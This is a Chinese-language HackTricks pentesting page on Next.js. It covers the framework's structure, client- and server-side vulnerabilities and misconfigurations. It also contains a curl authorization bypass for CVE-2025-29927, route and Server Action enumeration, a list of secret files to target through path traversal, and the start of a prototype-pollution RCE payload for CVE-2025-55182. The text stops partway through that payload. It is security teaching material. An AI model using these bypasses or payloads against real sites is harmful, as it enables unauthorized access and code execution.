NextJS
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Next.js 应用程序的一般架构
典型文件结构
一个标准的 Next.js 项目遵循特定的文件和目录结构,以便实现其功能,例如路由、API 端点和静态资源管理。下面是一个典型的布局:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
核心目录和文件
- public/: 存放静态资源,如图片、字体和其他文件。此处的文件可通过根路径(
/)访问。 - app/: 应用页面、layouts、components 和 API 路由的核心目录。采纳 App Router 范式,支持高级路由功能以及服务端/客户端组件的分离。
- app/layout.tsx: 定义应用的根布局,包裹所有页面,提供一致的 UI 元素,如 header、footer 和导航栏。
- app/page.tsx: 作为根路由
/的入口点,渲染首页。 - app/[route]/page.tsx: 处理静态和动态路由。
app/中的每个文件夹代表一个路由段,文件夹内的page.tsx对应该路由的组件。 - app/api/: 包含 API 路由,可以在此创建处理 HTTP 请求的 serverless functions。这些路由取代了传统的
pages/api目录。 - app/components/: 存放可复用的 React 组件,可在不同页面和布局间使用。
- app/styles/: 存放全局 CSS 文件和用于组件范围样式的 CSS Modules。
- app/utils/: 包含工具函数、辅助模块以及其他可在应用中共享的非 UI 逻辑。
- .env.local: 存储针对本地开发环境的环境变量。这些变量不会被提交到版本控制。
- next.config.js: 定制 Next.js 的行为,包括 webpack 配置、环境变量和安全设置。
- tsconfig.json: 配置项目的 TypeScript 设置,启用类型检查和其他 TypeScript 功能。
- package.json: 管理项目依赖、脚本和元数据。
- README.md: 提供项目文档和信息,包括安装说明、使用指南及其他相关细节。
- yarn.lock / package-lock.json: 将项目依赖锁定到特定版本,保证在不同环境中安装一致。
Next.js 的客户端
基于文件的路由(位于 app 目录)
app 目录是最新 Next.js 版本中路由的基石。它利用文件系统来定义路由,使路由管理直观且易于扩展。
处理根路径 /
文件结构:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
关键文件:
app/page.tsx: 处理对根路径/的请求。app/layout.tsx: 定义应用的布局,包裹所有页面。
实现:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
说明:
- 路由定义:
page.tsx文件位于app目录下, 对应/路由。 - 渲染: 该组件渲染主页的内容。
- 布局集成:
HomePage组件被layout.tsx包裹,该文件可以包含头部、页脚以及其他通用元素。
处理其他静态路径
示例: /about 路由
文件结构:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
实现:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
说明:
- 路由定义:
page.tsx文件位于about文件夹内,对应/about路由。 - 渲染: 该组件渲染 about 页面的内容。
动态路由
动态路由允许处理具有可变片段的路径,使应用能够根据像 ID、slug 等参数显示内容。
示例: /posts/[id] 路由
文件结构:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
实现:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
说明:
- 动态段:
[id]表示路由中的动态段,会从 URL 捕获id参数。 - 访问参数:
params对象包含动态参数,可在组件内部访问。 - 路由匹配: 任何匹配
/posts/*的路径,例如/posts/1、/posts/abc等,都会由该组件处理。
嵌套路由
Next.js 支持嵌套路由,允许创建与目录布局相对应的分层路由结构。
示例: /dashboard/settings/profile 路由
文件结构:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
实现:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
解释:
- 深度嵌套:
page.tsx文件位于dashboard/settings/profile/内,对应/dashboard/settings/profile路由。 - 层级映射: 目录结构反映了 URL 路径,提升了可维护性和清晰度。
Catch-All 路由
Catch-All 路由处理多个嵌套段或未知路径,为路由处理提供灵活性。
示例: /* 路由
文件结构:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
实现:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
说明:
- Catch-All Segment:
[...slug]捕获所有剩余的路径段并作为数组返回。 - Usage: 有助于处理动态路由场景,例如用户生成的路径、嵌套分类等。
- Route Matching: 像
/anything/here、/foo/bar/baz等路径由该组件处理。
潜在的客户端漏洞
虽然 Next.js 提供了安全的基础,但不当的编码实践可能会引入漏洞。主要的客户端漏洞包括:
Cross-Site Scripting (XSS)
XSS 攻击发生在恶意脚本被注入受信任网站时。攻击者可以在用户的浏览器中执行脚本,窃取数据或代表用户执行操作。
易受攻击的代码示例:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
为什么会有漏洞: 使用 dangerouslySetInnerHTML 处理不受信任的输入会允许攻击者注入恶意脚本。
Client-Side Template Injection
当模板中对用户输入处理不当时发生,允许攻击者注入并执行模板或表达式。
易受攻击的代码示例:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
为什么存在漏洞: 如果 template 或 data 包含恶意内容,可能导致未预期代码的执行。
Client Path Traversal
这是一种允许攻击者操纵客户端路径以执行未预期操作的漏洞,例如 Cross-Site Request Forgery (CSRF)。与针对服务器文件系统的 server-side path traversal 不同,CSPT 侧重利用客户端机制将合法的 API 请求重定向到恶意端点。
示例易受攻击的代码:
一个 Next.js 应用允许用户上传和下载文件。下载功能在客户端实现,用户可以指定要下载的文件路径。
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
攻击场景
- 攻击者目标:通过操纵
filePath执行 CSRF 攻击以删除关键文件(例如admin/config.json)。 - 利用 CSPT:
- 恶意输入:攻击者构造一个带有被操纵
filePath的 URL,例如../deleteFile/config.json。 - 生成的 API 调用:客户端代码会请求
/api/files/../deleteFile/config.json。 - 服务器处理:如果服务器不验证
filePath,它会处理该请求,可能导致敏感文件被删除或泄露。
- 执行 CSRF:
- 伪造链接:攻击者向受害者发送一个链接或嵌入恶意脚本,触发带有被操纵
filePath的下载请求。 - 结果:受害者在不知情的情况下执行该操作,导致未授权的文件访问或删除。
Recon: static export route discovery via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- 从根响应中获取 buildId(通常在底部打印)或从加载
/_next/static/<buildId>/...的<script>标签中获取。 - 获取 manifest 并提取路由:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- 使用发现的路径(例如
/docs,/docs/content/examples,/signin)来驱动 auth testing 和 endpoint discovery。
Next.js 的服务器端
服务器端渲染 (SSR)
页面在每次请求时由服务器渲染,确保用户收到的是完整渲染的 HTML。在这种情况下,你应该创建自定义服务器来处理请求。
使用场景:
- 经常变化的动态内容。
- SEO 优化,因为搜索引擎可以抓取完整渲染的页面。
实现:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
静态站点生成 (SSG)
页面在构建时预渲染,从而加快加载速度并减少服务器负载。
使用场景:
- 不经常更改的内容。
- 博客、文档、营销页面。
实现:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
无服务器函数(API Routes)
Next.js 允许将 API 端点作为无服务器函数创建。这些函数按需运行,无需专用服务器。
使用场景:
- 处理表单提交。
- 与数据库交互。
- 处理数据或与第三方 API 集成。
实现:
随着 app 目录在 Next.js 13 中的引入,路由和 API 处理变得更加灵活和强大。这种现代方法与基于文件的路由系统紧密对齐,但引入了增强功能,包括对服务器端和客户端组件的支持。
基本路由处理器
File Structure:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
实现:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
解释:
- 位置: API 路由位于
app/api/目录下。 - 文件命名: 每个 API 端点位于其自己的文件夹中,包含
route.js或route.ts文件。 - 导出函数: 不再使用单一的默认导出,而是导出针对具体 HTTP 方法的函数(例如
GET、POST)。 - 响应处理: 使用
Response构造函数返回响应,从而可以更好地控制 headers 和 状态码。
如何处理其他路径和方法:
处理特定 HTTP 方法
Next.js 13+ 允许你在同一个 route.js 或 route.ts 文件中为特定的 HTTP 方法定义处理器,从而使代码更清晰、更有条理。
示例:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
说明:
- 多重导出: 每个 HTTP 方法 (
GET,PUT,DELETE) 都有各自导出的函数。 - 参数: 第二个参数通过
params提供对路由参数的访问。 - 增强响应: 对响应对象具有更细粒度的控制,可以精确管理 header 和状态码。
Catch-All 和 嵌套路由
Next.js 13+ 支持诸如 catch-all 路由和嵌套 API 路由 等高级路由功能,使 API 结构更动态且可扩展。
Catch-All 路由示例:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
说明:
- 语法:
[...]表示一个 catch-all 段,捕获所有嵌套路径。 - 用法: 适用于需要处理不同路由深度或动态段的 API。
嵌套路由示例:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
解释:
- 深层嵌套: 允许分层的 API 结构,反映资源之间的关系。
- 参数访问: 通过
params对象轻松访问多个路由参数。
在 Next.js 12 及更早版本中处理 API 路由
pages 目录中的 API 路由(Next.js 12 及更早版本)
在 Next.js 13 引入 app 目录并增强路由功能之前,API 路由主要在 pages 目录中定义。这种方式在 Next.js 12 及更早版本中仍然广泛使用并受到支持。
基本 API 路由
文件结构:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
实现:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
解释:
- 位置: API 路由位于
pages/api/目录下。 - 导出: 使用
export default来定义处理器函数。 - 函数签名: 处理器接收
req(HTTP 请求)和res(HTTP 响应)对象。 - 路由: 文件名(
hello.js)映射到端点/api/hello。
动态 API 路由
文件结构:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
实现:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
解释:
- Dynamic Segments: 方括号 (
[id].js) 表示动态路由段。 - Accessing Parameters: 使用
req.query.id来访问动态参数。 - Handling Methods: 使用条件逻辑来处理不同的 HTTP 方法(
GET,PUT,DELETE等)。
处理不同的 HTTP 方法
虽然基本的 API 路由示例在单个函数中处理所有 HTTP 方法,但你可以将代码结构化为显式处理每个方法,以提高清晰度和可维护性。
示例:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
最佳实践:
- 关注点分离: 将不同 HTTP 方法的逻辑清晰分离。
- 响应一致性: 确保响应结构一致,便于客户端处理。
- 错误处理: 优雅地处理不受支持的方法和意外错误。
CORS 配置
控制哪些来源可以访问你的 API 路由,以缓解 Cross-Origin Resource Sharing (CORS) 漏洞。
不良配置示例:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
请注意,CORS 也可以在所有 API 路由中配置,位于 middleware.ts 文件内:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
问题:
Access-Control-Allow-Origin: '*': 允许任何网站访问该 API,可能让恶意站点在没有限制的情况下与您的 API 交互。- 允许所有方法: 允许所有方法可能使攻击者执行不希望的操作。
攻击者如何利用:
攻击者可以构造恶意网站向您的 API 发起请求,可能滥用诸如数据检索、数据修改,或代表已认证用户触发不希望的操作等功能。
CORS - Misconfigurations & Bypass
服务器端代码在客户端暴露
服务器端使用的代码很容易在客户端暴露并使用,确保一个代码文件永远不在客户端暴露的最佳方法是在文件开头使用这个 import:
import "server-only"
关键文件及其角色
middleware.ts / middleware.js
位置: 项目根目录或位于 src/ 中。
用途: 在请求被处理之前在服务端的 serverless 函数中执行代码,允许进行认证、重定向或修改响应等任务。
执行流程:
- 传入请求: 中间件拦截该请求。
- 处理: 根据请求执行操作(例如,检查认证)。
- 响应修改: 可以更改响应或将控制权传递给下一个处理器。
示例用例:
- 将未认证用户重定向。
- 添加自定义 header。
- 记录请求。
示例配置:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.
- Baseline behavior is typically a 307 redirect to a login route like
/api/auth/signin. - 发送一个长的
x-middleware-subrequest值(重复middleware以达到MAX_RECURSION_DEPTH)来将响应翻转为 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- 因为已认证的页面会加载许多子资源,请在每个请求中添加该请求头(例如,使用 Burp Match/Replace,匹配字符串留空)以防止资源被重定向。
next.config.js
Location: 项目根目录。
Purpose: 配置 Next.js 的行为,启用或禁用功能,自定义 webpack 配置,设置环境变量,并配置若干安全特性。
Key Security Configurations:
安全响应头
安全响应头通过指示浏览器如何处理内容来增强应用的安全性。它们有助于缓解诸如 Cross-Site Scripting (XSS)、Clickjacking 和 MIME type sniffing 等多种攻击:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
示例:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
图像优化设置
Next.js 会为提高性能对图像进行优化,但错误配置可能导致安全漏洞,例如允许不受信任的来源注入恶意内容。
错误配置示例:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
问题:
'*': 允许从任何外部来源加载图片,包括不受信任或恶意的域。攻击者可以托管包含恶意 payloads 或误导用户内容的图片。- 另一个问题可能是允许一个域 任何人都可以上传图片(例如
raw.githubusercontent.com)
攻击者如何滥用:
通过从恶意来源注入图片,攻击者可以进行钓鱼攻击、展示误导性信息或利用图像渲染库中的漏洞。
环境变量泄露
安全地管理诸如 API keys 和数据库凭证等敏感信息,避免将它们暴露给客户端。
a. 暴露敏感变量
错误配置示例:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
问题:
SECRET_API_KEY: 如果没有NEXT_PUBLIC_前缀,Next.js 不会将变量暴露给客户端。然而,如果不小心加了前缀(例如NEXT_PUBLIC_SECRET_API_KEY),它就会在客户端可访问。
攻击者如何滥用:
如果敏感变量被暴露到客户端,攻击者可以通过检查客户端代码或网络请求获取它们,从而获得对 API、数据库或其他服务的未授权访问。
重定向
在应用内管理 URL 重定向和重写,确保用户被正确导向,同时不引入 open redirect 漏洞。
a. Open Redirect Vulnerability
错误配置示例:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
问题:
- 动态目标: 允许用户指定任意 URL,从而可能导致 open redirect attacks。
- 信任用户输入: 将用户提供的 URLs 在未验证的情况下用于重定向,可能导致 phishing、malware distribution 或 credential theft。
攻击者如何滥用它:
攻击者可以构造看似来自你域名的 URLs,但会将用户重定向到恶意站点。例如:
https://yourdomain.com/redirect?url=https://malicious-site.com
信任原始域名的用户可能在不知情的情况下被引导到有害网站。
Webpack 配置
为你的 Next.js 应用定制 Webpack 配置,但如果不谨慎处理,可能会无意中引入安全漏洞。
a. 暴露敏感模块
错误的配置示例:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
问题:
- 暴露敏感路径: 将敏感目录别名并允许客户端访问可能会 leak 机密信息。
- 打包秘密: 如果敏感文件被打包到客户端,它们的内容可能通过 source maps 或检查客户端代码而被访问。
攻击者如何滥用:
攻击者可以访问或重建应用的目录结构,可能发现并利用敏感文件或数据。
pages/_app.js and pages/_document.js
pages/_app.js
用途: 覆盖默认的 App 组件,允许使用全局状态、样式和布局组件。
使用场景:
- 注入全局 CSS。
- 添加布局包装组件。
- 集成状态管理库。
示例:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Purpose: 覆盖默认的 Document,允许自定义 HTML 和 Body 标签。
Use Cases:
- 修改
<html>或<body>标签。 - 添加 meta 标签或自定义脚本。
- 集成第三方字体。
Example:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Custom Server(可选)
Purpose: 虽然 Next.js 附带内置 server,但你可以创建自定义 server 来满足高级用例,例如自定义路由或与现有后端服务集成。
Note: 使用自定义 server 可能会限制部署选项,尤其是在像 Vercel 这样针对 Next.js 内置 server 进行优化的平台上。
Example:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
其他架构与安全考虑
环境变量与配置
目的: 在代码库之外管理敏感信息和配置设置。
最佳实践:
- 使用
.env文件: 将 API 密钥等变量存放在.env.local(不加入版本控制)。 - 安全地访问变量: 使用
process.env.VARIABLE_NAME来访问环境变量。 - 不要在客户端暴露秘密: 确保敏感变量仅在服务器端使用。
示例:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
注意: 要将变量限制为仅在服务器端可用,请不要将它们放入 env 对象;如果需要在客户端暴露,则使用 NEXT_PUBLIC_ 前缀。
可通过 LFI/下载端点 针对的有用服务器工件
如果您在 Next.js 应用中发现路径遍历或下载 API,请针对会 leak 服务器端 secrets 和认证逻辑的已编译工件:
.env/.env.local:包含会话 secrets 和提供者凭证。.next/routes-manifest.json和.next/build-manifest.json:包含完整路由列表。.next/server/pages/api/auth/[...nextauth].js:用于恢复已编译的 NextAuth 配置(通常在process.env值未设置时包含回退密码)。next.config.js/next.config.mjs:用于查看 rewrites、redirects 和 middleware 路由。
认证与授权
方法:
- 基于会话的认证: 使用 cookies 管理用户会话。
- 基于令牌的认证: 实现 JWTs 以实现无状态认证。
- 第三方提供者: 使用像
next-auth这样的库集成 OAuth 提供者(例如 Google、GitHub)。
安全实践:
- 安全 Cookies: 设置
HttpOnly、Secure和SameSite属性。 - 密码哈希: 存储前始终对密码进行哈希。
- 输入验证: 通过验证和清理输入来防止注入攻击。
示例:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
性能优化
策略:
- 图像优化: 使用 Next.js 的
next/image组件进行自动图像优化。 - 代码拆分: 利用 dynamic imports 来分割代码并减少初始加载时间。
- 缓存: 对 API 响应和静态资源实施缓存策略。
- 懒加载: 仅在需要时加载组件或资源。
示例:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
现代 Next.js 使用 “Server Actions”,它们在服务器上执行但由客户端调用。在生产环境中这些调用是不可见的:所有 POSTs 会落到一个公共端点,并通过在 Next-Action header 中发送的构建特定哈希来区分。示例:
POST /
Next-Action: a9f8e2b4c7d1...
当 productionBrowserSourceMaps 启用时,minified JS chunks 包含对 createServerReference(...) 的调用,这些调用会 leak 足够的结构(以及关联的 source maps),从而恢复 action hash 与原始函数名之间的映射。这样你就可以将 Next-Action 中观察到的哈希翻译为具体目标,例如 deleteUserAccount() 或 exportFinancialData()。
提取方法(在 minified JS 上使用 regex + 可选 source maps)
在下载的 JS chunks 中搜索 createServerReference,并提取哈希以及函数/源符号。两个有用的模式:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- 组 1:server action 哈希(40+ 十六进制字符)
- 组 2:符号或路径(在存在 source map 时可解析到原始函数名)
如果脚本声明了 source map(尾部注释 //# sourceMappingURL=<...>.map),获取它并将符号/路径解析为原始函数名。
实际工作流程
- 被动发现(浏览时):捕获带有
Next-Action头的请求和 JS chunk URL。 - 获取所引用的 JS bundle 及其伴随的
*.map文件(若存在)。 - 运行上面的正则表达式以构建哈希↔名称字典。
- 使用该字典来定位测试:
- 基于名称的初筛(例如,
transferFunds、exportFinancialData)。 - 按函数名跟踪不同构建间的覆盖情况(哈希会随着构建轮换)。
触发隐藏 actions(基于模板的请求)
以在代理中观察到的有效 POST 作为模板,将 Next-Action 值替换为另一个已发现的 action:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
在 Repeater 中重放并测试原本无法访问的操作的授权、输入验证和业务逻辑。
Burp 自动化
- NextjsServerActionAnalyzer(Burp extension)在 Burp 中自动化上述流程:
- 从代理历史中查找 JS chunk,提取
createServerReference(...)条目,并在可用时解析 source maps。 - 维护可搜索的 hash↔函数名 字典,并按函数名在不同构建间去重。
- 可以定位有效的模板 POST,并打开一个已准备好的 Repeater 选项卡,将目标 action 的 hash 替换进去以便发送。
- 仓库: https://github.com/Adversis/NextjsServerActionAnalyzer
注意与限制
- 需要
productionBrowserSourceMaps在 production 中启用,才能从 bundles/source maps 中恢复名称。 - 函数名泄露本身不是漏洞;将其用作发现的线索,并针对每个 action 测试授权。
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
在将 Server Actions 通过 react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) 暴露出来的 Next.js App Router 部署中,存在一个在 Flight chunk 反序列化过程中发生的关键服务器端 prototype pollution。通过在 Flight payload 中构造 $ 引用,攻击者可以从被污染的原型链跃迁到任意 JavaScript 执行,进而在 Node.js 进程内执行 OS 命令。
NodeJS - proto & prototype Pollution
Flight chunks 中的攻击链
- Prototype pollution primitive: 设置
"then": "$1:__proto__:then",使 resolver 在Object.prototype上写入一个then函数。随后处理的任何普通对象都会变为 thenable,从而让攻击者影响 RSC 内部的异步控制流。 - Rebinding to the global
Functionconstructor: 将_response._formData.get指向"$1:constructor:constructor"。在解析过程中,object.constructor→Object,而Object.constructor→Function,因此后续对_formData.get()的调用实际上会执行Function(...)。 - Code execution via
_prefix: 将 JavaScript 源放入_response._prefix。当被污染的_formData.get被调用时,框架会执行Function(_prefix)(...),因此注入的 JS 可以运行require('child_process').exec()或其他任何 Node 原语。
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
